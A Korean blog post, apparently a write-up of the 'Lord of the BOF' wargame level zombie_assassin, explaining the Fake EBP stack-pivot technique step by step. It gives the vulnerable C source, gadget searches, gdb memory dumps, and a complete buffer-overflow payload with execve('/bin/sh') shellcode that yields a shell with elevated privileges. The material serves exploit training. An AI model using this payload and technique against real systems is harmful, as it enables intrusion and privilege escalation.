LOB assassin => zombie_assassin

c0wb3ll ㅣ 2020. 4. 6. 14:12

LOB assassin => zombie_assassin

문제

[assassin@localhost assassin]$ cat zombie_assassin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
    char buffer[40];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] == '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

    // strncpy instead of strcpy!
    strncpy(buffer, argv[1], 48); 
    printf("%s\n", buffer);
}

기법은 FEBP ( Fake EBP )를 이용하라고 한다.

전과 마찬가지로 스택과 라이브러리를 사용하지 못한다.


Fake EBP

음 전에 했던 FPO와 비슷하다.

image

SFP로 buf-4를 주어 다음 SFP를 조작하고 RET로 leave-ret가젯을 주면 어떤 일이 발생하는지 알아보자.

우선 에필로그가 시작되어 esp가 ebp에 위치로 이동한다.

image

pop ebp로 ebp가 buf-4의 주소로 이동하고 esp는 ret를 가르키게 된다.

image

그 다음 ret 주소가 leave, ret을 가르키고 있기 때문에 한 번 더 에필로그가 실행된다. 그럼 우리가 보낸 ebp (&buf-4)로 esp가 이동한다.

image

그 후 ebp는 &buf-4에 있는 값, 어딘가로 날라가 버리고 esp는 buf를 가르키게 된다. 이 때 우리가 buf의 첫번째 4byte에 쉘코드의 주소를 입력했다면??

ret가 실행되면서 esp가 가르키고 있는 쉘코드의 주소로 이동하여 쉘코드가 실행 될 것이다. 그럼 다시 문제로 돌아가 풀어보자.


풀이

[assassin@localhost tmp]$ objdump -S zombie_assassin | grep leave -A1 | grep ret -B1
 8048311:    c9                       leave  
 8048312:    c3                       ret    
--
 8048404:    c9                       leave  
 8048405:    c3                       ret    
--
 804840b:    c9                       leave  
 804840c:    c3                       ret    
--
 804842b:    c9                       leave  
 804842c:    c3                       ret    
--
 8048433:    c9                       leave  
 8048434:    c3                       ret    
--
 80484df:    c9                       leave  
 80484e0:    c3                       ret    
--
 8048511:    c9                       leave  
 8048512:    c3                       ret    
--
 8048517:    c9                       leave  
 8048518:    c3                       ret    
--
 8048534:    c9                       leave  
 8048535:    c3                       ret    
[assassin@localhost tmp]$ 

우선 leave ret을 찾아보자. 이 수 많은 leave ret 중 아무거나 하나 골라서 사용하면 된다.

[assassin@localhost tmp]$ ./zombie_assassin `python -c "print 'A'*4 + 'B'*36 + 'C'*4 + 'D'*4 +'\x90'*100 + 'E'*50"`

대략 어느 주소에 어떤 것이 들어갈지 분석하기 위해 인위적으로 core파일을 생성해주자.

A는 쉘코드의 주소 B는 DUMMY값 C는 SFP(&buf-4)의 주소 D는 ret(leave, ret) 이다.

0xbffffb50:    0x5f656962    0x61737361    0x6e697373    0x41414100
0xbffffb60:    0x42424241    0x42424242    0x42424242    0x42424242
0xbffffb70:    0x42424242    0x42424242    0x42424242    0x42424242
0xbffffb80:    0x42424242    0x43434342    0x44444443    0x90909044
(gdb) 
0xbffffb90:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffba0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffbb0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffbc0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffbd0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffbe0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffbf0:    0x45454590    0x45454545    0x45454545    0x45454545
0xbffffc00:    0x45454545    0x45454545    0x45454545    0x45454545
0xbffffc10:    0x45454545    0x45454545    0x45454545    0x45454545
0xbffffc20:    0x00454545    0x3d445750    0x6d6f682f    0x73612f65

결과창이다. 우선 알아야 할 것은 &buf-4의 주소 그리고 쉘코드의 주소이다.

&buf-4의 주소는 AAAA가 시작되는 0xbffffb5d - 4 인 0xbffffb59이다.

쉘코드의 주소는 nop이 껴져있는 곳 아무데나 넣도록 하자.

[assassin@localhost tmp]$ ./zombie_assassin `python -c "print '\xb0\xfb\xff\xbf' + 'A'*36 + '\x59\xfb\xff\xbf' + '\x11\x83\x04\x08' + '\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
곽풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY???
Segmentation fault (core dumped)
[assassin@localhost tmp]$ gdb -c core

음 세그먼트 오류가 났다 다시 코어파일을 분석하면서 주소를 맞춰주자.

[assassin@localhost tmp]$ ./zombie_assassin `python -c "print '\xdd\xfb\xff\xbf' + 'A'*36 + '\x72\xfb\xff\xbf' + '\x11\x83\x04\x08' + '\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
粃풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr???
bash$ id
uid=515(assassin) gid=515(assassin) groups=515(assassin)
bash$

주소를 다시 맞춰주면 쉘을 딸 수 있다.

[assassin@localhost assassin]$ ./zombie_assassin `python -c "print '\xdd\xfb\xff\xbf' + 'A'*36 + '\x72\xfb\xff\xbf' + '\x11\x83\x04\x08' + '\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
粃풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr???
bash$ id
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
bash$